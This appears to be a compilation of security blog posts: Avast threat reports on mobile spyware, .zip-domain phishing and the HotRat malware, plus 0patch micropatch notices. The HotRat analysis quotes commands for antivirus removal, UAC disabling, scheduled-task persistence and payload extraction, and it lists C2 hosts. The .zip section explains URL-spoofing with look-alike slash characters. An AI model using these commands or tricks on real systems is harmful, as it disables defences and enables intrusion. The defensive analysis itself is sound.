Spymax remains the top spyware despite a slight decrease in its risk ratio this quarter. It continues to be used to extract personal information such as SMS messages, contact lists, location and more. DogeRAT, a spyware kit available on GitHub, appears to have taken inspiration from Spymax as we note similarities in its code and functionality.  A novel addition is the employment of a Telegram panel for spyware control and execution of various functions, notably encompassing microphone and camera capture. Dissemination occurs through SMS messages guiding users to download the application.

A benign request that can be mis-used by AhRAT with a later malicious update 

Spyware managed to sneak onto the Play Store this quarter when a screen recorder app turned malicious with a delayed update bringing AhRAT spyware with it. A tactic observed several times in recent years, users who installed the previously clean version of the app would automatically update to the malicious version without their knowledge. AhRAT’s C2 communication indicates it should be able to perform a variety of spying functions such as SMS extraction, location tracking, screen recording and others. However, it appears that it was only capable of extracting files from the device and recording with the device microphone. We speculate that future versions may have introduced further features, but the app was detected and removed from the Play Store before that could happen. 

Another Play Store campaign of note is the SpinOK spyware capable SDK that was present in highly prevalent applications. This spyware can gather file lists, telemetry from device data sensors and in some cases copy the clipboard contents and exfiltrate these to a remote server. Some applications were removed from the Play Store while others were allowed to stay after they removed the spyware SDK. 

An interesting strain called BouldSpy was discovered by Lookout, with possible links to Iranian state police. Labelled as a possible botnet, it also contains CryCrypt ransomware capability, although it appears this remains unused, potentially saved for future use. Often masking as the official Android phone app, it can record voice calls from popular messenger applications such as WhatsApp, Viber and others. It uses the Accessibility service to hide its presence and masquerade as an official app, even mimicking its look and functionality. Meanwhile, it extracts SMS messages, browser history, photos and more in the background. 

Invasive information collection under the guise of enabling loan processing as often stated in ToS of spy loan applications 

A worrying trend that has been ongoing for several quarters now is the prevalence of loan applications that promise fast cash distributed through the Play Store. Previously reported on by Zimperium, these loan applications request invasive permissions under the guise of a credit check or loan security. Once the user allows these permissions, the spy loan apps extract sensitive information such as messages, contact lists, photos or browsing history. These are then used to blackmail victims, oftentimes even if they pay the agreed loan repayments. Unfortunately, this trend is gaining popularity with blackmail loan apps appearing to focus on regions with limited bank loan access such as South America or Asia. Users are advised to avoid mobile loan applications that are not from a trusted financial institution.

Global risk ratio of mobile spyware in Q1/2023 and Q2/2023 

We see a slight uptick in the risk ratio of spyware this quarter, likely attributable to the high number of new strains entering the market. Freely available strains on GitHub such as DogeRAT can also contribute to the increased spread of spyware. 

Global risk ratio for mobile spyware in Q2/2023 

Brazil has the highest number of protected users, followed by India, Turkey and the US. Users in Yemen continue to be at higher risk of encountering mobile malware when compared to the rest of the world.

Jakub Vávra, Malware Analyst

Acknowledgements / Credits 

Malware researchers

Adolf Středa
Alexej Savčin
Bohumír Fajt
Branislav Kramár
David Álvarez
Igor Morgenstern
Jakub Křoustek
Jakub Vávra
Jan Rubín
Jan Vojtěšek
Ladislav Zezula
Luigino Camastra
Luis Corrons
Martin Chlumecký
Matěj Krčma
Michal Salát
Ondřej Mokoš

Data analysts

Pavol Plaskoň 
Filip Husák 
Lukáš Zobal


Brittany Posey
Emma McGowan
Marina Ziegler 

The post Avast Q2/2023 Threat Report appeared first on Avast Threat Labs.

Three More Years of Critical Security Patches for Windows Server 2012 and Windows Server 2012 R2

Can't upgrade your Windows Server 2012 to a newer windows server? No problem.


As an on-premises Windows Server 2012 user, you probably know that Microsoft plans to end its support this October. This means no more Windows updates, including security fixes, and the chilling prospect of your servers becoming progressively vulnerable as new security issues are inevitably going to be discovered.

If you're lucky enough to be an "eligible customer with Software Assurance under an Enterprise Agreement", you will be able to purchase up to 3 years of Extended Security Updates (ESU) from Microsoft for an annual cost equal to "100% of full license price annually".

Those of you who aren't eligible or have other reasons not to purchase ESU, but want to keep using your servers securely - we have good news for you!

Remember Windows Server 2008 R2 going out of support more than three years ago? Well, we security-adopted it and have thousands of customers still running this server securely with our security patches today. Meanwhile, the three-year ESU period for Server 2008 has already ended for on-premises servers, and we committed to continuing our support for at least two more years.

Now we'll do the same for Windows Server 2012 and Windows Server 2012 R2, starting with three years of critical security patches that will last until October 2026. In contrast to Windows Server 2008 where we only security-adopted the R2 version, we're seeing a sufficient interest in non-R2 version of Server 2012 to add it to the list of our security-adopted products.

If you're new to 0patch and our security patches, we have a lot of information in our Help Center but here's a quick overview:

  • 0patch provides critical security patches for vulnerabilities that are likely to be exploited.
  • Our tiny patches (usually just a few CPU instructions) get applied in memory of running processes; we don't change original executable files.
  • Patches get applied and un-applied instantly, without restarting the computer.
  • Apart from critical security patches for vulnerabilities Microsoft will patch on still-supported Windows versions, you will also get our "0day" patches for vulnerabilities that don't yet have official security patches.
  • 0patch Central allows for central management of all 0patch Agents.
  • 0patch costs a fraction of the cost of Extended Security Updates. (Consider Pro plan for a single server, and Enterprise plan for multiple servers with central management.)


To use 0patch on Windows Server 2012 after October 2023, you will need to:

  1. Create a 0patch account if you don't have one yet.
  2. Install the last available, i.e., October 2023, cumulative Windows Update for Windows Server 2012. (This is very important, our patches will be targeting these exact versions of Windows executables.)
  3. Install 0patch Agent on the server and register it to your 0patch account. (See 0patch Agent user manual for instructions on silent deployment and auto-registration in selected group.)
  4. Make sure to have a suitable number of licenses in your 0patch account: each computer with a registered 0patch Agent needs one license.


October is getting close - start testing 0patch in your environment now to iron out the wrinkles without too much rush. To start a free trial, create a free account in 0patch Central, then let us know at [email protected] which email you used for that so we can issue a couple of trial licenses to your account.


Frequently Asked Questions

Q: How long do you plan to provide critical security patches for Windows Server 2012 after October 2023?

A: For at least three more years - until October 2026. Depending on the demand, we'll consider an extension.

Q: How many vulnerabilities have you patched for Windows Server 2008 R2 and Windows 7 since January 2020?

A: Since January 2020 when we "security-adopted" Windows 7 and Windows Server 2008 R2, we have issued patches for 67 critical security issues on these systems that were at high risk of being exploited. Many of them were later actually confirmed to be exploited in the wild and even more of them became part of various exploit kits that even a low-budget attacker could easily use against unpatched systems.

Q: Are your micropatches actual code patches or "virtual patches"?

A: Our patches are actual code patches; we add a couple of CPU instructions to the original (vulnerable) executable code to remove the vulnerability. Such patches cannot be bypassed, which literally any other exploit protection mechanisms - including virtual patches - can be.

Q: Will we be able to continue using Microsoft Edge securely on Windows Server 2012 after October 2023?

A: We have also security-adopted Microsoft Edge in January 2023, so you'll be able to keep using Edge securely even though it won't get updated by Microsoft anymore. We're also still providing security patches for Internet Explorer, which is still effectively part of the operating system.

Q: We'd like to see a demo.

A: Send an email to [email protected] and provide your company name and time zone so we can suggest a couple of dates for the demo. 

Q: We'd like to set up a trial.

A: Create a free account in 0patch Central, then let us know at [email protected] which email you used for that so we can issue a couple of trial licenses to your account.

Q: We have more questions about 0patch.

A: Our Help Center has a lot of answers but if you can't find yours there, feel free to contact us at [email protected].

Unpacking the Threats Within: The Hidden Dangers of .zip Domains

There has been quite a discussion regarding Google’s recent introduction of .zip, .mov, .phd (and other variations) as top-level domains (TLDs). The opinions in the cybersecurity community can be distilled into two camps. A fair number of experts assume that this move from Google will likely cause even more confusion for non-tech savvy users navigating the internet. The second camp thinks otherwise. That it basically is a difficult realm to navigate in already and that users rarely pay attention to the URL and its components. When digging into this topic and our data, we identified that cybercriminals have already started abusing .zip domains to mislead users into thinking they are downloadable files, instead of URLs. Our research shows that out of the top 30 .zip domains blocked by our threat detection engines, one third abuses names of leading tech companies such as Microsoft, Google, Amazon and Paypal, to trick people into thinking that they are files of trusted companies.

In the early days of the internet, TLDs were introduced to streamline the process of browsing and sorting through online content. The main reason for using domain names and TLDs was to make navigation around the web more user friendly. Also, at the time geographical location was also important. The, originally pointed out by Ars Technica, is a great example of using the TLD to denote its geographical location, in this case San Francisco, California, in the United States of America. It also helps us distinguish the basic nature of the server we are visiting. .com, associated with the commercial nature of a website, and .org, associated with nonprofits, are probably the most common TLDs used to denote the characteristics of a domain. According to Statista, .org and .com account for 50% of all TLDs worldwide.

The purpose of TLDs has become much more blurred recently (past several years). They can also serve as part of branding efforts now, such as the .lidl or .edeka TLD or other exotic TLDs that come to my mind. For example, .beer, .motorcycles, .plumbing, .soccer, .taxi, and so on. There’s little that isn’t achievable. When the Internet Corporation for Assigned Names and Numbers (ICANN), the non-profit which oversees and manages unique Internet identifiers, like IP addresses and domains, last expanded the scope of TLDs, they set the evaluation fee at $185,000, limiting applicants to only established entities, whether public or private. It’s undeniably a high-priced venture.

So, what issues could arise with a .zip TLD? Personally, I see a significant concern in the potential for file confusion and the consequent difficulty distinguishing between local and remote sources, which could pose a security threat. For educational purposes I crafted a prototype email that leverages the fact that the attachment and the link can point to completely different locations.

Email that the attacker might have crafted for use

It appears that using a .zip domain to deceive users can be remarkably easy. Moreover, the link preview can be manipulated to hide the protocol used, such as HTTP(S). This definitely helps the attacker to lure the user where they want.

It seems that we have reached a point where the original purpose of making URLs understandable to the public is gradually deteriorating over time. Which address seems more suspicious to you: https://52.144.44[.]169 or latestupdate[.]zip (which resolves to that IP)? I have my doubts as well. I do not imply that most of the .zip domains are or will be inherently malicious. However, I foresee a certain number of domains that, if not registered by entities closely related to their respective products, are very unlikely to be used for legitimate purposes. Looking at the top blocked domains by Avast with a .zip TLD we see that there are many mimicking legitimate companies. Also, there is a second group that tries to imitate files.

The most interesting domains are those that are closely related to large service providers, which are well known to the public. These include microsoft-office[.]zip, microsoft[.]zip, csgo[.]zip, google-drive[.]zip, microsoftonedrive[.]zip, googlechrome[.]zip, and amazons3[.]zip. Other perfect examples that I would describe as well designed are those with a pdf keyword combined with a subdomain. Namely 226x227.pdf[.]zip, 2023-05.pdf[.].zip, cv3.pdf[.]zip, temp1_rsbu_12m2021.pdf[.]zip. Checking on yields expected results.

Whois record for

Most of the time, when a registrant’s information is redacted from the WHOIS database, it clearly raises suspicions. It’s definitely not the most important red flag, but it’s a piece of the puzzle. When combined with the domain name, we can be fairly certain that there might be some shady activities going on with a high degree of certainty.

Another perfect example of taking advantage of these domains is the usage of @ in a URL. The @ character is part of the authentication scheme (user:password@host), and it holds a special significance in the URL. Since this method is strongly discouraged nowadays and rarely used the chance of a user spotting a malicious URL is greatly diminished. Sending your username and password unencrypted over the internet is also not considered the best practice :-). As mentioned in RFC 3986, this technique can obscure the landing page from the user if utilized in a certain manner.

RFC mentioning the potential misuse of “@” in a URL

The URL will take user straight to under a username of for the ftp server to the /top_story.html path. This method can also be further refined by employing another technique, as highlighted in this article.

The / character, also known as the forward slash, plays a special role in defining path segments in a URL. If a URL contains a forward slash, all subsequent characters are considered part of the path segment. However, if the forward slash is replaced by a similar-looking character, everything before the @ is discarded. This is because browsers discourage this authentication method. Thus, an attacker’s goal is to use a character closely resembling the forward slash. This tactic ensures that everything before the @ is disregarded by the browser, directing the user to a potentially malicious domain after the @ character.

Let’s take an example from our most recent data and, for instance, let’s consider domain that showed up in our telemetry. We can modify it in a way that, while appearing legitimate, it leads the user straight to a malicious domain according to VirusTotal. The address segment before the @ character will be discarded.

Forward Slash (U+002F)[.]zip

We have replaced the forward slash with the Fullwidth Solidus. If we had used a normal forward slash, we would have ended up with an incorrectly formatted URL, which would not have worked as expected. The Fullwidth Solidus is predominantly used in East Asian languages as a date separator, or in situations where a fixed-width separator is necessary.

It is almost indistinguishable from forward slash. And with the help of current AI, we can generate quite a lot of visually similar Unicode characters effortlessly.

URL Variations Using Different Slash Characters:

  1. Forward Slash (U+002F)[.]zip
  1. Fullwidth Solidus (U+FF0F)
  1. Division Slash (U+2215)
  1. Fraction Slash (U+2044)
  1. Mathematical Slash (U+27CB)

All of these variants, with the exception of the forward slash, will direct us to At the time of our research, the link found on the website leads to a benign zip file, which contains an image of a CS:GO player. However, since we don’t know who operates this domain, there’s no guarantee that the content will remain the same in the future.

To share some insights, we examined the three domains most frequently blocked by our systems to understand the dynamics of the threat. These domains, listed in alphabetical order, are,, and Each of them has a significantly high ‘score’ on VirusTotal, and all registrant information has been redacted. As can be seen in the graph below, the number of protected users skyrocketed at the beginning of June, only to fall sharply thereafter.

Another graph focused on the number of unique users and total submits daily paints the same picture.

What is the reasoning behind this? Even though the zip domains are appealing and certainly tempting for cybercriminals to use, they leave an audit trail and can be easily blocked. This is evident from the graph provided. It is definitely more elusive to take advantage of insecure webservers or outdated WordPress installations than to register a domain. This is also the reason why the number of blocked attacks was lower than I personally expected.

Last but not least, let’s put the threats posed by .zip domains into a broader context. I’ve aggregated the number of users protected under specific domains to evaluate the share of .zip compared to the rest. In short, the .zip domains didn’t make it to the list. The largest share blocked by our web shield belongs to .com, which is understandable given the high number of registered .com domains. However, when we examine the remainder, a few domains stand out.

As we can see, there is a certain discrepancy between the number of registered domains under certain TLDs (graph below) and the connections that we block under these TLDs every day (graph above). Threats are not evenly distributed among the TLDs. There are a few TLDs that I encounter almost daily that consistently raise some suspicion. These include .xyz, .online, .biz, .info, .ru, .life, .site, among others. While visiting these and many other domains, I would urge extra caution. However, this doesn’t mean that you are entirely safe when encountering a .com domain. It’s all part of a larger picture, and users need to be vigilant when opening emails or navigating through the vastness of the internet. To aid in this, we have prepared a list of points that should assist you. 

Statistics of most popular TLDs

What to do: 

  1. Be wary of .zip TLDs: Treat any .zip Top-Level Domains (TLDs) with caution, as they could potentially host malicious content. 
  1. Monitor company traffic: Keep a close eye on your company’s web traffic, specifically looking out for any unusual activities related to .zip TLDs. 
  1. Consider introducing special email filters: To further protect against potential threats, consider implementing special filters for emails that contain .zip TLDs in their content. 
  1. Keep your antivirus software updated: Always ensure your antivirus software is up to date to maximize its effectiveness against the latest threats. 
  1. Stay informed about new threats: Regularly read security bulletins and reports about emerging threats to stay ahead of potential dangers. 

The post Unpacking the Threats Within: The Hidden Dangers of .zip Domains appeared first on Avast Threat Labs.

HotRat: The Risks of Illegal Software Downloads and Hidden AutoHotkey Script Within

Despite the substantial risks involved, the irresistible temptation to acquire high-quality software at no cost persists, leading many people to download illegal software. Therefore, distributing such software remains an effective method for widely spreading malware. This analysis reveals that cracked software often contains hidden scripts that deploy attackers’ malware on victims’ computers, sometimes even containing additional malware itself.

Our focus is on examining the usage of an AutoHotkey script attached to pre-hacked software. This script triggers the release of a variant of AsyncRAT malware that we’ve named HotRat. However, the first step of the deployment process requires administrative rights. Given that abused software often requires high privileges by default, victims do not find the request for additional permissions suspicious. Furthermore, the deployment process compromises system security by disabling antivirus protections before installing HotRat onto the victim’s machine.

HotRat malware equips attackers with a wide array of capabilities, such as stealing login credentials, cryptocurrency wallets, screen capturing, keylogging, installing more malware, and gaining access to or altering clipboard data. Our research underscores the importance of steering clear of unauthorized software downloads and emphasizes the vast risks tied to these actions, including multiple malware infections and the potential leak of sensitive information. We advise sourcing software from legitimate and approved providers as it ensures safety, legality, and continuous support. Users should also uphold system security measures, like antivirus programs, to safeguard against these evolving cyber threats.

Weaponization and Delivery

Threat actors are seizing cracks available online through torrent sites or suspicious web pages, and they craft a malicious AutoHotkey script, turning it into an executable that carries the same icon as the hijacked crack. The attackers accomplish this by compiling the script using the Ahk2Exe compiler (version As a result, the executable involves several stages that ultimately deploy a .NET implementation of AsyncRAT, which we have named HotRat, and this includes the aspect of persistence.

This mode of infection has been seen in various types of cracked software, and it can theoretically be inserted into both illegal and legal software installers. The most commonly affected group is typically Adobe (Illustrator, Master Collection, Photoshop) and Microsoft (Office, Windows) software. The second group primarily consists of video games such as Battlefield 3, Age of Empires IV, Red Alert 2, and The Sims 4. Lastly, the final significant group is composed of premium software used as system and development tools (e.g., IObit Driver Booster, VMware Workstation, Revo Uninstaller Pro, etc.).


The installation process involves multiple stages, as depicted in Figure 1, to deploy the final HotRat malware and ensure its persistence on the infected system. It begins with a stripped-down version of an expected cracked software setup. The only function of this setup is to initiate a malicious AutoHotkey script. Interestingly, the setup shares the same icon and metadata as the expected software. There’s also a separate folder containing malicious materials alongside the expected software to be “cracked”.

Figure 1. Installation process of HotRat

The AutoHotkey script first launches the original setup of the targeted software, providing the illusion of a benign installation process. However, a PowerShell script concealed in PowerPoint.xml runs simultaneously, aiming to weaken system security, specifically by:

  1. Disabling the Consent Admin, enabling operations requiring elevation to be performed without consent or credentials.
  2. Uninstalling Avira AV.
  3. Altering Windows Defender settings.

More detailed information on these system security modifications can be found in the Anti-Detection and Bypass System Security section. Lastly, an Embedded PowerShell script is executed to ensure the persistence of the malware on the system.

Embedded PowerShell Script

The Task Scheduler is used to maintain the malware’s persistence on the infected system. The embedded script creates a new task with a deliberate typo in its name (“administartor”) that executes a VBS Loader every two minutes. An example of this scheduled task is:

schtasks.exe /create /tn administartor /SC minute /MO 2 /tr C:\ProgramData\Microsoft\IObitUnlocker\Loader.vbs /RL HIGHEST

Additionally, the embedded script adds the process name RegAsm.exe to the Windows Defender Exclusion list because this process is exploited for injecting the payload, as described later.

The final operation within the embedded script processing involves the activation of a .NET Extractor. This extractor unpacks malicious files – including the final HotRat payload and support files – into a persistence folder. The script utilizes the Reflection.Assembly method to trigger a UAC method, as exemplified here:

$bytes = [System.IO.File]::ReadAllBytes("'%A_WorkingDir%\Data\Library.dll'")

The .NET Extractor has another crucial function beyond just unpacking malicious files. The malware authors detect the most frequently used antivirus software and attempt to deactivate them using IObit Unlocker. The persistence folder also contains IObit files capable of deleting system and protected files via the IObit driver. Finally, the extractor uses a straightforward command to remove folders of the detected antivirus software, as demonstrated here:

IObitUnlocker.exe /Delete <av_folder>

Once the embedded script is successfully executed, all necessary files are prepared for deploying the final HotRat payload. This is accomplished using the VBS Loader, which is run by the previously scheduled task.

HotRat Deployment

Once the scheduled task is set up and eventual AVs deactivated, the scheduled task periodically runs the VBS Loader, which gradually deobfuscates and injects the final HotRat payload, as Figure 2 demonstrates.

Figure 2. HotRat deploying using Task Scheduler
VBS Loader

The persistence folder usually contains a VBS script file enrolled in the scheduled task, an entry point for the deployment process. The folder has a few other files used to obfuscate the final payload. To cover every aspect, we include paths found so far list of the persistence folder:

  • C:\ProgramData\Microsoft\IObitUnlocker
  • $env:USERPROFILE\AppData\Roaming\IObitUnlocker
  • $env:USERPROFILE\AppData\Roaming\PerfLogs
  • C:\ProgramData\PerfLogs
  • C:\ProgramData\Data

The VBS Loader script only executes a PS1 script located in the same persistence folder; typically, with name Report.ps1. The PS1 script, called PS Loader, extracts two .NET executable files from PNG files located in the same persistence folder using the PNG Steganography. The PNG files do not contain any exciting content, and there is only a single pixel line with pixels in different shades of red.

The current steganography implements a simple method of extracting useful bytes from each red pixel as follows:

foreach ($x in 1..$img.Width ) { $File.Add(($img.GetPixel($x - 1, 0).R)) }

The first Image.png file contains the final HotRat payload injected into the host process (RegAsm.exe) via a .NET Injector hidden in the second pe.png file. The injector is a simple .NET application with a simple method:

void Execute(string processPath, byte[] payload)

and the host process path is hardcoded in PS Loader as follows:


Once the process is successfully injected, the HotRat is active, identified AVs are turned off, and persistence is established in the infected system.

HotRat Malware

The final payload that we call HotRat derives from the open-source implementation of AsyncRAT. The malware authors extended the AsyncRAT implementation with new functions to steal various personal information and credentials; it can deploy other malware. So, HotRat is a comprehensive RAT malware. We have identified around 20 newly implemented commands. Most of the commands are realized as a payload service. Specifically, the attackers send a command and zipped .NET payload, which is executed, and the results are sent back to C2. The entry point for each command is a method called PL, as Figure 3 shows.

Figure 3. Command execution of the .NET payload

We have captured no .NET payloads yet, so we just assess functions for each command by its name. On the other hand, there are direct implementations for other commands where we can describe the original functionality of the commands. The table below shows the identified commands and their purpose.

anydeskSteal credential for AnyDesk – NOT CONFIRMED
AvastRemove Avast Antivirus – NOT CONFIRMED
backproxySetup the Backproxy – NOT CONFIRMED
DicordTokensSteal Discord tokens – NOT CONFIRMED
getscreenTake a screenshot – NOT CONFIRMED
gettxtSend a current clipper text
KillProxyKill Backproxy – NOT CONFIRMED
killpsKill a specific process
klgetSend keylogger log to C2 (stored in %Temp%\\Log.tmp)
Net35Install .NET Framework redistributable – NOT CONFIRMED
pongC2 server’s response to the ping command
ResetScaleReset display scaling
savePluginSave a plugin to the victim machine
setxtSet a specific text into the clipboard
uacoffSwitch UAC Off – NOT CONFIRMED
WalletsSteal crypto wallets – NOT CONFIRMED
WDExclusionAdd an exclusion into Windows Defender – NOT CONFIRMED
WebBrowserPassSteal stored passwords from web browsers – NOT CONFIRMED
weburlDownload an executable from a URL and execute
Table 1. HotRat command summarization
C2 Servers

There are several samples with hardcoded C2 servers and ports. However, most C2 servers are provided through free DNS servers. Moreover, the clients’ ports are different for each DNS record. So, it is sometimes impossible to track the final IP addresses.

We have identified two IP addresses and ports as follows:


The list of captured DNS records is following:

  • fon1[.]
  • foxn1[.]
  • srxy123[.]
  • websites[.]
  • dynsys[.]
  • rec[.]
  • samaerx[.]

The communication protocol between clients and C2s is the same as the implementation of the AsyncRAT original one.

Anti-Detection and Bypass System Security

Since HotRat is run with admin privileges, it is very easy for attackers to make changes in security. As we noted before, the HotRat Installation process includes specific actions to evade security software for most antivirus software and weaken system security.

There are a few methods to remove antivirus software. The Avira AV is deactivated using a simple command to uninstall the Endpoint Protection SDK, as follows:

C:\"Program Files"\Avira\"Endpoint Protection SDK"\endpointprotection.exe uninstallSdk

Even when the Windows Defender is not deactivated, the installation process adds the whole C:\ path into the exclusion paths.

The rest of the AVs (Malwarebytes, Avast, AVG, and McAfee) detected by HotRat are deactivated through the IObit Unlocker tool that implements a kernel proxy driver to remove system-protected files. Therefore, HotRat can also delete AV files that are identified by a simple test of folder existence in these paths:

  • C:\Program Files\Avast Software
  • C:\Program Files\AVG
  • C:\Program Files\Common Files\McAfee
  • C:\Program Files\Malwarebytes\Anti-Malware

The HotRat malware also switches off the Consent Admin to perform an operation that requires elevation without consent or credentials because the AutoHotkey script executes other supporting executables that require higher permissions. Hence, the following registry update turns off the Consent Prompt:

Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0


The incidence of HotRat malware first started to rise significantly in mid-October 2022. Since then, we have been observing a stable trend of occurrence in the wild.

The most affected regions are Africa, south Asia, central and East Europa, and North America. The map below illustrates the detailed distribution and risk ration of HotRat malware in the wild.

HotRat malware distribution in the wild

Abused Software

The list of abused software is varied. As we mentioned above, the attackers focus on the most wanted software in the field of video games, image and sound editing, office applications, and system tools.

Unfortunately, due to its popularity, the brand name of one of our products, CCleaner, was also misused to spread HotRat via an illegal copy of the product. We encourage our users to ensure that CCleaner is downloaded directly from our server ( to ensure they are installing an official (and thus secure) and copy of the software.

The list below summarizes the most frequently cracked software misused by the attackers utilizing HotRat malware.

  • Adobe Illustrator 2023 v27.1.0.189 (x64) Pre-Multilingual Pre-Activated
  • Adobe Master Collection CC 2022 v25.08.2022 (x64) Multilingual Pre-Activated
  • Adobe Photoshop 2021 v22.0.0.35 (x64) Multilingual (Pre-Activated)
  • Advanced System Care
  • Age of Empires IV Digital Deluxe Edition
  • Allavsoft Video Downloader Converter + keygen
  • Battlefield 3 Premium Edition + all DLC
  • CCleaner (All Editions) 6.08.10255 (x64) + Patch
  • Command & Conquer Red Alert 2 [ 3.3.1 direct play portable]
  • CyberLink Screen Recorder Deluxe
  • Disk Drill Enterprise v50734
  • EaseUS Data Recovery Wizard Technician v15.8.1.0 Build 20221128 + Fix {Cracks}
  • Far Cry 4 gold edition – v1.10 + all dlcs
  • IDM 6.41 build 4 incl Patch 3.12.2022 [CrackingPatching]
  • IObit Driver Booster Pro v10.2.0.110 + Fix {Crack
  • IObit Uninstaller Pro v12.3.0.8 + Fix {CracksHash}
  • KMSpico 10.1.8 FINAL + Portable (Office and Windows 10 Activator)
  • Microsoft Office 2022 LTSC v3109(x64) Pre-Cracked [CrackingPatching]
  • Microsoft Office Professional Plus 2021 v2108 Build 14326.20144 (x86+x64) Incl. Activator
  • Nitro Pro Enterprise v13.70.2.40 (x64) + Fix {Crack}
  • PlayerFab v7.0.3.1 (x64) + Fix Crack
  • Proxima Photo Manager Pro 4.0 Release 7 Multilingual
  • ResumeMaker Professional Deluxe v20.2.0.4060 Pre-Cracked Crack
  • Revo Uninstaller Pro 5.0.8 Multilanguage
  • ScreenRecorder_4.3.1.25422_Deluxe
  • SkylumLuminarNeo1.6.1(10826)x64Sky
  • Sniper Elite 4 Deluxe Edition v1.5.0 All DLCs Multiplayer Dedicated Server
  • The Sims 4 (v1.94.147.1030 & ALL DLC’s)
  • Tiktok 18+ Plus PC Download (Latest Version) V1.3.5 For Pc
  • Topaz Video AI v3.0.5 (x64) + Fix {Crack}
  • Vmware Workstation pro v17.0.1 build 21139696 (x64) + fix {crackshash}
  • Wondershare Filmora X (x64) Multilingual
  • Wondershare UniConverter v14.1.9.124 (x64) + Fix Crack

Malicious File Repositories

Infected files are usually stored on public repositories. Specifically, the most seen public share websites are krakenfiles[.]com, send[.]cm, easybytez[.]com, easyupload[.]io, wetransfer[.]com, and www.mediafire[.]com. On the other hand, some samples are located on dedicated servers; for example, 51-83-136-132[.]xyz, s1-filecr[.]xyz. So, there is no central C2 server hosting the malicious files.

When the malicious files are stored on various hosting serves, URLs leading to the files are distributed to the victim’s machines through multiple platforms such as social networks, torrents, forums, or public repositories with the possibility of searching. Figure 4 illustrates the example of Facebook and one forum posts.

Figure 4. Spreading of malicious URLs via Facebook and one forum

Attackers commonly employ a deceptive tactic of actively participating in online forums. Often, victims are searching these forums for assistance in downloading unauthorized software. However, the attackers mislead them by redirecting to alternative URLs where the HotRat malware is already waiting, as demonstrated in Figure 4.


Despite the known dangers, a persistent trend of software piracy exposes users to potential malware infections. In mid-October, we observed a spike in malware activity, wherein illegal software was bundled with a malicious AutoHotkey script that launched the HotRat malware on victims’ computers. The spread of this malware happens through public repositories, with links being disseminated on social networks and forums.

HotRat malware is an advanced version of AsyncRAT, armed with a multitude of spying and personal data theft capabilities. We examined the malware’s deployment process, which is straightforward and utilizes a basic form of encryption, PNG Steganography, for delivering the final payload. Furthermore, the malware exhibits persistence by leveraging scheduled tasks, enabling it to maintain a foothold on infected systems. It also can eliminate antivirus programs, thus endangering the system’s overall security. The blend of uncomplicated deployment and antivirus removal underscores the potential threats posed by this malware.

It is critical to re-emphasize the caution against downloading dubious software from unverified sources, especially those demanding the deactivation of antivirus programs, as it can help curb the risk of malware infections and data breaches.

The post HotRat: The Risks of Illegal Software Downloads and Hidden AutoHotkey Script Within appeared first on Avast Threat Labs.

Micropatches Released For Denial of Service in Microsoft Message Queuing (CVE-2023-28302, CVE-2023-21769)



April 2023 Windows Updates brought fixes for a number of vulnerabilities in Microsoft Message Queuing Service. We first issued patches for the "Queuejumper" remote code execution vulnerability (CVE-2023-21554) as its POC became available. Subsequently, we got access to POCs for two additional issues in Microsoft Message Queuing Service: CVE-2023-21769 and CVE-2023-28302, both being remote denial-of-service issues.

While still-supported Windows systems have already received the official vendor fix for these vulnerabilities, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for these vulnerabilities, which are available through the 0patch service.

Our patches for these issues are similar to Microsoft's. Because the new patch for CVE-2023-28302 is in the same place as our previous patch for CVE-2023-21554, we had to revoke the latter and issue a combined patch for CVE-2023-21554 and CVE-2023-28302. (Which, of course, doesn't require our users to do anything as it all happens automatically.)

Micropatch Availability

These micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 10 v21H1
  2. Windows 10 v2004
  3. Windows 10 v1909
  4. Windows 10 v1809
  5. Windows 10 v1803
  6. Windows 7 (without ESU, with ESU year 1, and with ESU year 2)
  7. Windows Server 2008 R2 (without ESU, with ESU year 1, and with ESU year 2)
Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center.


Threat Hunting with Malwoverview and Tines

Before I publishing new articles on reversing and internals, people have requested to writing a text about Malwoverview, which is a simple tool that is used for threat hunting. Therefore, I’ve written a short and introductory article about how to use Malwoverview and Tines:


I hope readers like it.

Have an excellent day and keep hunting!

Alexandre Borges

Micropatches Released For DHCP Server Service Remote Code Execution (CVE-2023-28231)


April 2023 Windows Updates brought a fix for CVE-2023-28231, a remote code execution vulnerability in DHCP Server service. The vulnerability was reported to Microsoft by security researcher YanZiShuang.

Subsequently, Numen Cyber published a POC and DarkRelay Security Labs published their analysis, both of which allowed us to reproduce the issue and create a micropatch for Windows computers that haven't received an official fix from Microsoft.

The vulnerability only affects Windows servers with DHCP Server installed, and resides in the way DHCP Server processes relay-forwarded messages, whereby a message claiming to have been forwarded by more than 32 intermediate DHCP servers breaks the code's assumptions and causes memory corruption.

While still-supported Windows servers have already received an official vendor fix for this vulnerability, Windows Server 2008 R2 isn't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatch for this vulnerability, which is available through the 0patch service.

Our patch is logically identical to Microsoft's.

Micropatch Availability

The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows Server 2008 R2


This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Numen Cyber for sharing their POC, and DarkRelay Security Labs for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.


Micropatches Released For Windows Task Scheduler Elevation of Privilege (CVE-2023-21541)


